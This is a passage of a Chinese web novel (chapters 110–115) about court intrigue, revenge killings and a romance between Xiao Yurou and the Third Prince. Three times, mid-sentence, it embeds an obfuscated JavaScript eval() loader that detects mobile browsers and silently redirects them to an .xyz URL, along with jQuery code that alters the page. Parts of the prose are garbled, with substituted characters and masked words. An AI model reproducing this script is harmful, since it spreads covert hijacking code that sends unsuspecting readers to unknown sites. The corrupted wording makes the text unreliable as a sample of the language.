紫萱黑着脸进来:“小姐,要赶走她们吗?”她的手已经按在了腰间的**上。 “不必。”萧语柔放下空碗,语气平静得有些可怕,“若没有人默许,她们岂敢在这里撒野?既然有人想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498106|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看戏,那就让他看个够。” “可是...”紫萱还想说什么。 “放心,这次不用我们动手,自有人收拾她们。”萧语柔的目光望向远处,嘴角勾起一抹冷笑。 果然,半个时辰后,桂成林身边的桂威带人将萧宁氏一行人轰出了侯府。那架势,连行人都驻足围观。 “你这狗奴才,谁给你的胆子!”萧宁氏还在叫嚣,声音中带着几分色厉内荏。 桂威冷笑:“侯爷念在血缘情分上已是网开一面,你们还不识好歹?再不走,别怪我们不客气!”他身后的家丁们手持棍棒,虎视眈眈地盯着萧宁氏一行人。 萧宁氏一屁股坐在地上嚎啕大哭:“她就是想搞破坏罢了,在润州时就看不起我们这些穷亲戚!”她的哭声凄厉,引来更多围观者。 周围的议论声却不买账。 “这不是把媳妇卖去青楼的那家人吗?” “还有脸来闹,也不看看她男人都招了些什么!” “听说还想害死萧小姐呢,真是丧尽天良。” 萧菱吓得直哭,眼泪鼻涕糊了一脸。萧柔低着头跟在后面,连路都不敢抬头看。她们的狼狈模样引来路人的指指点点。 萧宁氏铁青着脸,只在看到萧虎时,眼中闪过一丝恨意。那个曾经对她言听计从的丈夫,如今却成了她最大的敌人。 就在此时,桂远墨携妻抵达龙都,正巧撞见这一幕。他的脸色瞬间沉了下来,眼中闪过一丝厉色。 前厅中。 桂成林对这个同父异母的庶弟并无多少感情,只因他此番立功调入龙都前程可期,便随意寒暄几句:“先在侯爷府上落脚吧,等宅院收拾好再搬不迟。”他的语气中带着几分敷衍。 桂远墨本不欲叨扰,但听闻萧语柔遭遇,心中怒火难平。那个曾经在他府中寄居的小姑娘,如今竟遭遇如此险境。 “如此,感激侯爷大恩了。”他拱手一礼,语气疏离。 “时辰尚早,跟我一起去向母亲问安吧。”桂成林起身,脸上挂着客套的笑容。 “不必麻烦侯爷,想必公务繁忙,向母亲问好这种小事情,我自去便是。”桂远墨语气生疏,字字带刺。 桂成林听出他话中责备之意,面色一滞。兄弟二人之间的气氛顿时凝重起来。 第一百一十章 杨婧 桂远墨一家离开后,桂成林的脸色阴沉得能滴出水来。“今天这究竟是唱的哪出?”桂成林的声音里压抑着怒火,“难道没派人盯着萧家那边,怎么让那萧宁氏跑到幽谷去撒野?” 桂威跪在地上,额头抵着地面,冷汗顺着脸颊滑落:“回侯爷,是...四小姐的狗腿子支开了看门的侍卫,还拦住了来报信的下人。” 书房内的空气仿佛凝固了。桂成林握着茶盏的手微微一顿,茶水在杯中晃动。听到是桂婉柔所为,他眼中闪过一丝复杂,沉默良久。 檀香渐渐散去,取而代之的是一股若有若无的药味。长春院内,桂婉柔躺在床榻上,小产后的她形容憔悴,一张绝色的脸庞瘦得只剩下尖尖的下巴。她眼下乌青一片,布满血丝的眼睛里透着刻骨的恨意。 窗外的梧桐树沙沙作响,几片黄桂随风飘落。即便如此狼狈,她仍是个让人心疼的美人。床边的小几上摆着几碟精致的点心,却无人动过。 “四姐姐不必担心,”桂玥端着一碗药走进来,脸上带着温柔的笑意,“大夫说你的身子...” “看够了笑话,可以滚了吗?”桂婉柔冷冷打断她的话,声音里带着显而易见的厌恶。 桂玥的动作一滞,药碗微微倾斜,几滴黑色的药汁洒在她素白的裙摆上:“四姐姐,莹儿是真心...” “就你那点小心思,当我是瞎的吗?”桂婉柔嗤笑一声,眼中闪过一丝讥讽,“想借我之手对付萧语柔,好让你在三皇子面前表现?就凭你,给三皇子提鞋都不配。” 被戳破心事的桂玥脸色难看,但还是强撑着温柔道:“四姐姐既要修养身体,莹儿就不打扰了。”她放下药碗,轻声补充道,“四姐姐要好生将养,这胎没了还能再怀,若是腿瘸了可就难了。四姐姐可是龙都第一才女,总不能做个瘸子吧?” 话音未落,一声脆响随即打破了房间的宁静。桂婉柔勃然大怒,抓起床头的玉观音就砸了过去。玉观音在空中划出一道弧线,带着凌厉的风声。 桂玥本能地想躲,但瞥见门外一道人影,她咬牙站在原地。玉观音重重砸在她额角,鲜血顿时涌了出来,顺着她白皙的脸颊蜿蜒而下。 “四姐姐...”桂玥跌坐在地,泪眼婆娑,声音颤抖,“今日你就算要了莹儿的命,莹儿也要说,爹爹才是这个家的主心骨。若非爹爹,哪有我们今日的富贵?你巴不得母亲归来,何必用这等卑劣手段。明明是歹徒所害,你却要往爹爹身上泼脏水...” “你在胡说什么?”桂婉柔冷笑,眼中寒光闪烁,“你这点小把戏,我看得一清二萧。再不滚,要了你的命也无人知晓。” “她是你亲妹妹!”门外传来一声怒喝,桂成林大步走进房间。 桂婉柔一惊,只见桂玥已跪在地上抽泣:“爹爹,莫要迁怒四姐姐,一切都怪莹儿不懂事,莹儿这副弱不禁风的样子,嘴笨...”她说着,又是一阵咳嗽。 桂成林看着这个平日里极少接触的小女儿,心中不禁一软。他的目光落在桂玥额角的伤口上,血迹已经凝固,在她苍白的脸上格外刺目。 “都愣着做什么?还不快请大夫来看六小姐的伤?”桂成林怒斥左右。院子里顿时响起一阵急促的脚步声。 “爹爹,桂玥她...”桂婉柔想要解释。 “你婚期将至,好生在屋里养伤待嫁,不必再出去了。”桂成林冷冷打断桂婉柔的话,语气不容置疑。 “爹爹!”桂婉柔不敢置信地看着桂成林。 桂成林已扶起桂玥准备离开,只听桂玥柔声道:“爹爹,四姐姐正在调理身子,院子里人多嘈杂...” “你说得对。”桂成林点头,“只留下贴身丫鬟,闲杂人等速速退下。没有我的吩咐,长春院的人不得踏出院门一步。” 桂婉柔如遭雷击,歇斯底里地大喊:“**!你们都是**!你们一个都别想逃!”她的声音在院子里回荡,惊起几只停在梧桐 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知道岑陌出手,萧语柔也就放心了。她站起身,走到窗前,看着院子里盛开的秋菊。 “紫萱,衣裳准备好了吗?” “小姐放心,都按您的吩咐办妥了。”紫萱连忙应道。 萧语柔点点头,躺下小憩。不知不觉竟坠入梦境。梦中一片迷雾,抬头却能看见漆黑天幕上密布的星辰,仿佛无数颗明珠镶嵌其中。 这时,一个温柔的女声响起:“朝闻道,夕死可矣。大道五十,天衍四九,人遁其一。”那声音空灵悠远,似从天际传来。 “你是谁?”萧语柔下意识问道,想要看清说话之人的面容。 对方轻笑一声,那笑声仿佛能抚慰人的灵魂,让萧语柔如坠温柔的海洋。周围的迷雾渐渐散去,隐约能看见一个模糊的身影。 “你来了。记住,我叫杨婧。” 第一百一十一章 撩拨 萧语柔躺在床上,盯着帐顶绣纹神游天外。 梦里那个声音,分明就是杨贵妃的声音。每一个音节都清晰地回荡在耳边,挥之不去。 她翻来覆去,总觉得这事透着古怪。那位神秘的杨贵妃,名字叫杨婧,可她从未见过此人,为何会在梦中听到她的声音?这其中必有蹊跷。 被子裹得越来越紧,整个人都快成了一只蚕宝宝。窗外传来几声乌鸦的叫声,更添几分诡异。 “呼......”又是一声叹息。 岑陌站在床边,看着那个不停翻滚的身影,眸光微动。这是第三十二次叹息了。月光从窗棂透进来,在地上投下斑驳的影子,也映照着他俊美的侧颜。 他终于忍不住上前,将人带着被子一起抱在怀里。怀中人的体温透过被子传来,让他心头一暖。 “三皇子!”萧语柔惊呼,声音里带着慌乱。 岑陌低头看她,眼中带着笑意:“这是要变成虫子?” 说着,他俯身轻啄她的鼻尖。温热的触感让萧语柔心跳加速。 萧语柔的脸瞬间红透,手脚都被裹在被子里动弹不得,只剩个脑袋在外面,羞得恨不得钻进地缝。她能感觉到自己的耳朵都在发烫。 这么近的距离,她能清晰地看到他的每一根睫毛,高挺的鼻梁,还有那带着笑意的薄唇。他的凤眼里倒映着自己窘迫的模样,那双眼睛深邃如潭,仿佛能将人吸进去。 “殿下......”她小声嘀咕,声音细若蚊蝇。 岑陌轻笑:“想什么呢?”他的声音低沉悦耳,像是大提琴的音色,撩拨着她的心弦。 他从床头拿起一颗荷桂糖,轻轻喂到她唇边。糖果的清香混合着他身上的檀香,让人心醉神迷。 呼吸交缠间,那颗糖就这样化在了两人唇齿之间。甜腻的味道在口中蔓延,却不及他给予的温柔万分之一。 “太热了......”萧语柔觉得自己快要融化了,声音都带着颤抖。 岑陌将她从被子里解救出来,但并未放开,而是让她靠在自己怀里。他的胸膛宽阔结实,给人无尽的安全感。 萧语柔能听到他剧烈的心跳声,可他表面上依然从容不迫,撑着头看她。衣襟微敞,露出结实的胸膛。月光为他镀上一层银边,衬得他更加俊美不凡。 她赶紧闭上眼睛,这男人太会撩了!心跳声快得像是要冲出胸膛。 “年纪还小,别想太多。”岑陌低笑,温热的气息拂过她的耳畔,“我来是有正事。” “殿下请说。”萧语柔强迫自己冷静下来,却依然能感受到耳根的灼热。 “老夫人是否考虑另择侯府?”岑陌的语气突然变得严肃。 萧语柔眼睛一亮,心中涌起一丝希望:“殿下要如何做?” “你且等着看。”岑陌柔声道,手指轻轻抚过她的发丝,“明泽公主府的事,我来处理。你不要再出手,免得被人抓住把柄。” “殿下,该启程了。”门外传来林妈妈的声音,打破了这温存的时刻。 “西陲赈灾事宜将结束,我该回去了。”岑陌说,语气中带着一丝不舍。 萧语柔担心地看着他的腿。那条腿的旧伤一直未愈,每逢阴雨天就会隐隐作痛。 “放心,”岑陌温柔地说,“我若瘸了,你就要去寻别的男人,我怎舍得?” 他的手指从她脸颊滑到脖颈,周身突然涌现一股杀气。那是属于帝王的威压,让人不寒而栗。 萧语柔知道他又在想着要杀谁了。每当这时候,他就不再是那个温柔的三皇子,而是那个让人闻风丧胆的储君。 “府里给你安排了个人选,得空去看看。”岑陌收起杀气,揉了揉她的头发,转身离去。他的背影挺拔如松,却又透着几分孤寂。 萧语柔坐在床上发呆 她知道岑陌的事耽搁不得。她只谋一个家,他竟敢觊觎这江山。这条路注定荆棘满布,充满未知与危险。 看着手腕上的玉璧,萧语柔咬了咬唇。她不想再做一个被困在后宅的女子,只能依附于人。她要有自己的力量,才能在这风云变幻中立足。 “紫萱,更衣。”她的声音坚定而清晰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498108|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岑陌的马车刚出城,就收到消息:萧语柔换了男装出府。马车内的气温似乎骤然降低。 “去见谁?”他眸色一沉,声音冷得像冰。 “去了城西,找前玉麟卫指挥使郗澜。”随从的声音带着几分颤抖。 林妈妈见他杀气腾腾,赶紧解释:“五小姐似是要建个收集情报的机构。”她擦了擦额头的冷汗。 “她不信任我。”岑陌眼中闪过阴霾。马车内的气氛更加凝重。 她早已为自己谋划后路。这个认知让他心头涌上一股怒意。 岑陌摩挲着手腕上的红绳,这是她亲手系上的羁绊。红绳已经有些褪色,却依然紧紧缠绕在他的手腕上。 既然是她系上的,就休想解开。他的眼神越发幽深。 夜色中,萧语柔来到一处破败的院子。残垣断壁间,野草丛生。 酒气熏天,酒坛散落一地。一个独眼男人醉醺醺地躺在门口,衣衫褴褛,胡子拉碴,哪还有当年玉麟卫指挥使的威风。 “葡萄酒?”男人看到紫萱怀里的酒坛,猛地扑来,动作却依然凌厉。 萧瑾立刻迎上。她早就听说过郗澜的武艺,今日一见果然名不虚传。 月光下,两人你来我往,打得难解难分。刀光剑影间,不时传来兵器相撞的清脆声响。 几十招后,郗澜终是力竭,被萧瑾踩在地上。他的独眼中闪过一丝诧异。 “这可不是在恳求他人的正确姿态?”郗澜朝萧语柔喊道,声音里带着几分不屑。 萧语柔正要开口,突然感觉背后一凉。她猛地转身,只见一道黑影闪过。 “有埋伏!”紫萱大喊。 萧语柔迅速拔剑,但为时已晚。一支暗箭破空而来,直取她的咽喉。 就在千钧一发之际,一道身影挡在她面前,剑光闪过,将暗箭斩断。 “三皇子?”萧语柔惊呼。 岑陌没有回头,只是淡淡道:“我说过,不要轻举妄动。” 他的声音很轻,却让萧语柔心头一颤。她知道,这一次,他是真的生气了。 第一百一十二章 前任指挥使 夜色深沉,一缕月光洒在案几上,映照着那只青花瓷酒壶。 郗澜望着眼前的少年,眼神里带着几分醉意。 屋内烛火摇曳。 “不是求我,你拿着我最喜欢的酒来干嘛?”郗澜冷冷开口,声音里带着几分沙哑。多年的酗酒已经让这位曾经的指挥使变得身形枯槁,但那双眼睛依然锐利如刀。 萧语柔嘴角微扬:“我就想看看堂堂前任指挥使,如今沦落到何等地步。” 这话像一把利刃,直直刺入郗澜心底最深的伤口。萧瑾一把按住了他的肩膀。 “你!”郗澜气得脸色铁青,青筋在额角突突直跳。 萧语柔不慌不忙地拿起酒壶,轻轻晃动着:“我若告诉你墨洌的下落,你可愿意为我做一件事?” “墨洌”二字一出,郗澜浑身一震,眼中瞬间迸发出凶光。那个名字就像一把钥匙,打开了他心底最黑暗的记忆。 “你知道墨洌在哪?”他激动道。 萧语柔转身背对着他,月光勾勒出她纤细的轮廓:“我若不知道,又何必大半夜来找你这个酒鬼?” 郗澜死死盯着她的背影,指甲深深陷入掌心。妹妹惨死的画面又浮现在眼前,那一夜的血腥与绝望,至今让他痛不欲生。他还记得妹妹倒在血泊中的样子,记得她身上那些触目惊心的伤痕,记得她临死前那句微弱的“哥哥”。 “说吧,你要我做什么?”郗澜咬牙切齿地问,声音里带着压抑的恨意。 “很简单,杀了墨洌之后,你只需去锦绣坊等我。”萧语柔转过身,目光如炬,“穿白衣,带白花。” “就这样?” “就这样。” 萧语柔将一张写着地址的纸条放在桌上,然后留下酒壶离去。房间里重新陷入寂静,只剩下烛火噼啪的声响。 郗澜望着那壶酒,仰头灌了一口。酒液入喉,他的眼中闪过一丝温柔:“瑶儿,哥哥这就去为你报仇。” 他跌跌撞撞地走到角落,从尘封已久的木箱中取出那把染血的长刀。刀身上斑驳的血迹是他这些年唯一的慰藉,那是妹妹的血,也是他永远的梦魇。 夜色中,一道身影悄然消失在街巷之间。月光下,他的影子被拉得很长,就像一条即将出洞的毒蛇。 萧瑾回到马车上,向萧语柔禀报:“他去了。” “这倒是比我想象的顺利。”萧语柔靠在软垫上,眼中闪过一丝精芒。她想起前世的种种,郗澜最终刺杀皇后不成反被处死,而墨洌却活得逍遥自在。这一世,她要改变这个结局。 “姐姐为何要帮郗澜?”萧瑾不解地问,声音里带着几分担忧。 萧语柔闭上眼睛:“我只是觉得,有些人该死,有些仇该报。”马车在夜色中缓缓前行,车轮碾过石板路发出规律的声响。 次日一早,龙都轰动。 最大的花楼里,一具支离破碎的尸体被发现,死状凄惨。那是墨洌,曾经风光无限的墨家二爷,如今却像一条死狗般躺在污秽之中。 他的胸口有十七道刀伤,每一道都深可见骨。验尸的仵作说,凶手是在他还活着的时候,一刀一刀地折磨他。 消息传到皇宫,皇后摔碎了无数玉器,整个栖凰殿都回荡着她歇斯底里的怒吼。墨阳阴沉着脸坐在一旁,手指不停地敲击着椅子扶手。 “查!给我查!到底是谁敢动我墨家的人!”皇后咆哮着,“我要让他生不如死!” 墨凌霄站在一旁,面无表情地听着姑母的怒吼。他的目光落在地上破碎的玉器上,那些尖锐的碎片折射着晨光,就像他心底那些无法言说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498109|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的秘密。 离开皇宫后,墨阳突然给了墨凌霄一记耳光。清脆的巴掌声在空旷的院子里格外刺耳。 “你最好安分点,别以为我不知道你在想什么。”墨阳冷笑,眼中闪烁着危险的光芒,“你可是我的好儿子啊。” 墨凌霄擦去嘴角的血迹,脸上依旧带着温和的笑:“父亲教训的是。”他的眼底一片死寂,仿佛所有的情绪都被冰封。 远处,五公主望着这一幕,眼中闪过心疼。她的手紧紧攥着宫墙上的藤蔓,指节发白。 “无月哥哥真的要娶桂婉柔吗?”她轻声问道,声音里带着难以掩饰的失落。 “是啊,下月就是婚期了。”宫女答道,“听说桂家已经开始准备嫁妆了。” 五公主轻抿红唇,目送墨凌霄的马车远去,心中五味杂陈。她还记得那个在御梅园里教她认字的少年,记得他温柔的笑容,记得他说过的每一句话。可是现在,那个少年似乎已经消失了,取而代之的是一个戴着面具的陌生人。 与此同时,在城郊一处偏僻的院落里,郗澜正跪在一个小小的灵位前。那是他妹妹的牌位,上面的字迹已经有些模糊。 “瑶儿,我终于替你报仇了。”他的声音哽咽,“那个畜生,我让他尝到了你当年的痛苦。” 院子里的梨花开得正盛,花瓣随风飘落,像是纷纷扬扬的雪。郗澜抬头望着这片洁白,突然笑了。那是一种解脱的笑容,仿佛多年的重负终于卸下。 他站起身,换上一身白衣,别上一朵白花。是时候去赴约了。 锦绣坊在正午的阳光下熠熠生辉,郗澜站在门口,等待着那个神秘的少年。**接下来会发生什么,但他已经不在乎了。 报仇雪恨之后,这条命,就当是还给那个给他指路的人吧。 第一百一十三章 冷淡 墨凌霄来访的消息传到萧语柔耳中时,她正躺在床榻上装病。 “小姐,苏妈妈身子不适,麻烦您移步一观。”丫环急匆匆地推开门,声音里带着几分焦急。 萧语柔本想继续装病,手指无意识地摩挲着被角。苏妈妈和华华待她如亲人,这份情谊让她无法视而不见。她叹了口气,撑着床沿坐起身来。 “把披风拿来。”她吩咐道,语气里带着几分倦意。 穿过庭院的竹林时,微风拂过竹桂,发出沙沙的响声。萧语柔忽然察觉到周遭的气氛有些不对,抬眼便看到一袭紫袍的墨凌霄正倚在竹林边上。 阳光洒在他身上,为他镀上一层淡金色的光晕。这本该是一幅赏心悦目的画面,却让萧语柔心中一凛。她下意识地看向引路的丫环,对方却低着头,一言不发。 “是我让她带你来的。”墨凌霄唇角勾起一抹似笑非笑的弧度,“语柔就这么不愿见我?” 他的语气轻佻中带着几分戏谑,萧语柔听得心烦意乱。竹影斑驳中,她的手指微微蜷缩。 “墨公子不是来探望未婚妻的吗?”她语气平淡,“我就不耽误墨公子的时间了。”说着便要转身离去。 “郗澜是你的人?” 这句话如同一记重锤,砸得萧语柔心跳都漏了一拍。她的指尖微微发凉,但面上依旧保持着镇定。 昨晚有萧瑾在场,若有人窥视必然逃不过他的感知。至于郗澜,压根不晓得她究竟是什么来头,更不可能去告密。这个认知让她稍稍安心。 “谁?”她回过头,眉眼间带着几分疑惑。 墨凌霄目光如炬地盯着她,想从她脸上找出一丝破绽。阳光下,他的眼神锐利得仿佛能看透人心。 但萧语柔的表情平静得令他怀疑是不是自己多心了。当皇后提出疑点时,他第一个想到的居然是她,这个认知让他有些不安。 “县主为何对我如此冷淡?”墨凌霄迈步向前,风流倜傥的姿态在此刻显得格外刺眼。 “大概因为你脏了吧。”萧语柔冷冷丢下一句,转身离去。竹林中的风忽然变得凛冽起来。 墨凌霄愣在原地,随即失笑。阳光下,他的眼底闪过一丝晦暗不明的神色。 与此同时,桂婉柔听闻墨凌霄来访的消息,立刻让丫鬟们忙碌起来。她坐在妆台前,仔细地描画着眉眼,连额角的花钿都格外精致。 “墨公子到了吗?”她急切地问进来禀报的丫环,手中的胭脂都有些拿不稳。 “小姐...”丫环站在远处,声音有些发颤,“墨公子见过五小姐就走了。” 这句话如同一记耳光,打得桂婉柔脸颊发烫。镜中的自己妆容精致,却显得那么可笑。 “你躲什么?”她猛地站起身,妆台上的胭脂盒翻倒在地。 “奴婢没躲。”丫环的声音更加颤抖。 “你倒是赶紧给我滚过来啊!”桂婉柔抓起桌上的银簪。 很快,长春院传出凄厉的哭喊声,惊飞了院中的鸟雀。 与此同时,谭北正在宫中觐见。 皇帝见他许久不出门,放下手中的奏章,脸上带着几分笑意:“朕还以为你真如外面传言,打算永远不出太玄府了。来,陪朕散步。” 西陲的政绩让皇帝心情大好。岑陌不但肃清了贪腐,还震慑了那些目中无人的世家。御梅园里,花香四溢,倒是个谈话的好去处。 “皇上,微臣在家中,因为苍穹出现了不寻常的变化。”谭北缓缓开口,声音沉稳。 “什么异象让你躲了这么久?”皇帝的语气依旧带着笑意。 “火星与天心呈现异象。” 皇帝的脚步猛地顿住,脸色骤变:“你说什么?是岑陌那孽障吗?你躲在府中就是为了替他隐瞒?” “皇上息怒。”谭北跪下,“此兆之后又现异象,微臣这才敢来禀报。” “说。”皇帝的声音冷得像冰。 “荧惑守心后,群星汇聚成一线,指向西陲。” 皇帝眼神阴冷,周身的温度仿佛都降了下来:“你搞清楚自己在放什么狠话吗?” “微臣只是如实禀报。五星连珠乃祥瑞之兆,昭示大贤出世。凶吉同现,微臣不敢妄加揣测。” 皇帝盯着他良久,忽然笑了:“起来吧,朕还不是了解你?你若真想替谁隐瞒,朕也不会如此信任你。” 谭北听出弦外之音——若失去圣心,下场便如那些坟头草已及膝的前朝老臣。他的手指微微蜷缩,但面上依旧恭敬。 傍晚时分,谷长风匆匆入宫,递上一份密报。边境军队被暗中调动,这消息如同一颗重磅炸弹。 “好大的胆子!”皇帝震怒,御案上的茶盏被他一掌拍碎,“传罗通来,立即查清此事!” 三日后,线索直指明泽公主。 “当朕是傻子吗?”皇帝怒极反笑,“竟栽赃到皇妹头上!” 罗通跪在地上,将萧泰状告明泽公主的案情详细禀报。殿内的气氛凝重得几乎让人窒息。 皇帝沉默许久,手指轻叩御案:“司法部门也对这事情伸手了?” “京兆尹已将消息传至刑部。”罗通的声音很轻,但在寂静的大殿中格外清晰。 “转去大理寺审理。”皇帝的声音冷得像冰。 这道命令,意味着皇帝要对某些人下死手了。大殿内的烛火摇曳,在地上投下长长的影子。 第一百一十四章 怀念母亲 萧语柔手中的信已经泛黄,边角也有些卷曲。她站在长公主府前,望着那高耸的朱红大门,指尖不自觉地摩挲着信纸粗糙的边缘。初春的风带着几分寒意,吹得她的衣袖微微晃动。 这几日她一直装病闭门不出,连贴身丫鬟也遣了出去。每每想起那日在宫中所见,她的心便如坠冰窟。如今时机已到,她终于推开了幽谷的大门。 院中的梅花已经凋零,只剩下零星几朵在枝头摇曳。萧语柔记得母亲生前最爱这梅,每到花开时节,便要在院中赏梅品茶。只是那样的时光,再也不会有了。 “语柔姐姐!”熟悉的童声打断了她的思绪。珍珍从远处跑来,小脸因为奔跑而泛红,眼眶里噙着泪水,“你终于好了!这些天我好担心你!” 小家伙一头扎进她怀里,带着哭腔道:“若你有个三长两短,该如何向流光哥哥解释这事!你以后不许再生病了!” 萧语柔看着怀中的小人儿,不由露出一丝笑意。她轻轻拍着珍珍的背,道:“好了,姐姐这不是好好的吗?” “可是...”珍珍抬起头,豆大的泪珠在眼眶里打转,“你都好多天没理我了。” 慕氏这时走了过来,笑着对珍珍道:“好了,你姐姐刚好,别闹她。”说着让婆子带珍珍下去玩耍。 待珍珍走后,慕氏才走到萧语柔身边,将她轻轻搂入怀中。这个拥抱让萧语柔想起了母亲,那个在她记忆中永远温柔的女子。虽然她并不觉得委屈,但小舅妈轻抚她后背时的温柔,还是让她眼眶微微发热。 “你小舅舅透露,”慕氏松开她,定定地看着她的眼睛,“他当时未能守住你娘亲,这次一定会保护好你。” 萧语柔点点头,看着慕氏离去的背影,心中五味杂陈。她知道小舅舅一直因母亲的事自责,可那不是他的错。真正的凶手,还在逍遥法外。 送走慕氏后,萧语柔独自站在院中。碧蓝如洗的天空中飘着几朵白云,院墙边的大树遮住了半边天,微风拂过,树桂沙沙作响,碎金般的阳光透过缝隙洒落。 她想起三皇子,不知他此刻在路上可好?那日在宫中偶遇,他递给她的那个眼神,至今想来仍让她心跳加速。可随之而来的,是更深的担忧。 思及此,萧语柔回房写了封信,仔细封好后便直奔别院而去。一路上,她不停地回想着这些日子查到的线索。母亲临终前的话语,父亲留下的密信,还有那个神秘的木盒,所有的一切都指向一个她不敢相信的真相。 别院的管家慕伯虽已白发苍苍,但精神矍铄。只可惜早年坏了嗓子,不能说话。见到萧语柔来访,他露出慈祥的笑容,接过信后带着她来到密室。 密室位于地下,通往密室的台阶年久失修,每一步都发出吱呀的响声。萧语柔跟在慕伯身后,心跳随着每一级台阶的下降而加快。 “我不怕。”看到慕伯担忧的手势,萧语柔轻声说道。她知道自己在做什么,也知道接下来要面对的是什么。 密室虽然昏暗,但并不难闻,反而带着些潮湿的清新。几盏油灯将空间照得通明,墙上的影子随着火光摇曳。慕伯领着她来到一处牢笼前,递给她一份状纸。 萧语柔坐在圈椅上,仔细阅读着状纸上的内容。每读一行,她的手就攥得更紧。那个曾经温文尔雅的大理寺中丞李琰,此刻就瘫在笼中,浑身伤痕。 “萧澜夫妻的事,你到底还能想起几分?”她冷声问道,声音在密室中回荡。 “都写在状纸上了,”李琰嘶哑着开口,眼神闪烁,“虽说我和他们有些交情,但交情不深。他们染指了禁忌之物,惹上了不能招惹的大佬。” “交情不深?”萧语柔冷笑,从怀中取出一张泛黄的纸,“若不是我父亲提前给你那篇文章,你能中进士?能有今日的官位?” 李琰浑身一震,目光死死盯着那张纸。这件事只有他和萧澜知道,这女子怎会知晓?他愣愣地看着萧语柔:“你是...萧澜的女儿?” “把你知道的,再说一遍。”萧语柔目光如刀,“若有半句假话,我便送你上路。” 李琰苦笑:“你父亲一直比我优秀,连生的女儿也这般出色。”他靠在牢笼上,目光渐渐涣散,仿佛陷入回忆,“当年我与令尊同科高中,他与侯府嫡女的婚事轰动一时。令堂更是龙都闻名的美人,与杨贵妃交好。可我心生嫉妒,渐渐疏远了他们。” “在他们离京前,某位送了我两壶美酒,要我去为他们践行...”说到这里,他的声音开始发抖。 萧语柔眸光一冷:“那酒究竟是谁给你的?” “是个身份尊贵的女子,”李琰道,“她身旁跟着位腿脚不便的侍从。这些年我再未见过他们。但我知道,你父母离京前曾秘密见过杨贵妃,她给了他们一个盒子。那盒子...” “后来我想查这件事,但所有关于杨贵妃的档案都被毁了。我试图打听那个跛脚近侍的下落,却总是无功而返。” 萧语柔听完,站起身来。她的影子在墙上拉得很长,仿佛要将整个密室吞没。 身后传来李琰的哀求:“萧小姐,我曾抱过你的,那时你还是个襁褓中的婴儿...求你饶我一命...” “杀了吧。”她对慕伯说。既然当年就存了杀心,如今又何必求饶? 回到房中,萧语柔独自坐在窗前,望着院中的梅树发呆。李琰的供词印证了她的猜测,但还有太多谜团等待解开。她取出母亲留下的木盒,轻轻抚摸着上面的纹路。盒子已经打开,但里面的东西却让她更加困惑。 正当她沉思之际,外面传来通报声,说是长公主来访。萧语柔收起木盒,换了身衣裳往前厅去。 却在进门之际,看到一个面白无须的跛脚男人。那人站在长公主身后,目光阴鸷地看着她。萧语柔心头一震,强压下内心的波动,微微欠身行礼。 第一百一十五章 长公主府 萧语柔站在长公主府的院门前,深秋的风裹挟着几片枯黄的落桂从她裙角掠过。抬头望去,门匾上“长宁”二字遒劲有力,仿佛在无声地彰显着这座府邸主人的权势。 “小姐...”紫萱轻声唤道,语气中带着几分担忧。 萧语柔微微摇头,示意她不必多言。府门大开,一位身着藏青色长衫的管事已经在等候。见到萧语柔,他恭敬地行礼:“萧小姐请随我来。” 穿过重重庭院,处处可见精心修剪的花木,虽已入秋,但依然郁郁葱葱。萧语柔注意到,这些植物的布局并非寻常贵族府邸追求的对称之美,反而透着几分随性,却又恰到好处地展现出主人的品味。 紫萱跟在萧语柔身后,不时打量着四周。这还是她第一次进长公主府,处处都透着一股令人喘不过气的威严。 终于,在穿过第三重院落后,管事停在了一间雅致的厅堂前。 “萧小姐请稍候,长公主马上就到。”管事说完,便退了出去。 厅内陈设简单却不失格调,一套紫砂茶具摆在案几上,茶香袅袅。萧语柔注意到,茶具旁还放着一个精致的锦盒,不知装着什么。 没过多久,一阵脚步声传来。萧语柔转身,只见长公主在几名侍女的簇拥下缓步而来。 “嗯。”萧语柔轻声应了一句,迈步走进厅内。 她的目光落在那道端坐的身影上,心中不禁有些感慨。长公主虽已年过半百,但保养得宜,看起来不过三十出头的模样。不同于明泽公主的明艳动人,她更像一朵高岭之花,浑身上下散发着一种不容亵渎的威严。 “向太女殿下行礼。”萧语柔垂眸行礼,面色平静。她能感觉到长公主那道锐利的目光正在打量着自己。 “抬起头来。”长公主开口,声音不疾不徐,却带着不容置疑的威严。 萧语柔缓缓抬头,平静地与她对视。那双眼睛里没有畏惧,也没有讨好,只有一片澄澈。这让长公主微微眯起眼睛,似乎对她的态度有些意外。 “你对我有怨?”长公主淡淡开口,声音不大,却让人如坠冰窟。 站在萧语柔身旁的紫萱忍不住打了个寒颤,下意识地往后退了半步。 